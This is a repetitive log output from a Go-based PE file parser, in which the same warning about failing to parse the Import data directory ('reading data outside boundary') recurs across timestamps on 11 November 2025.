source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:59:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 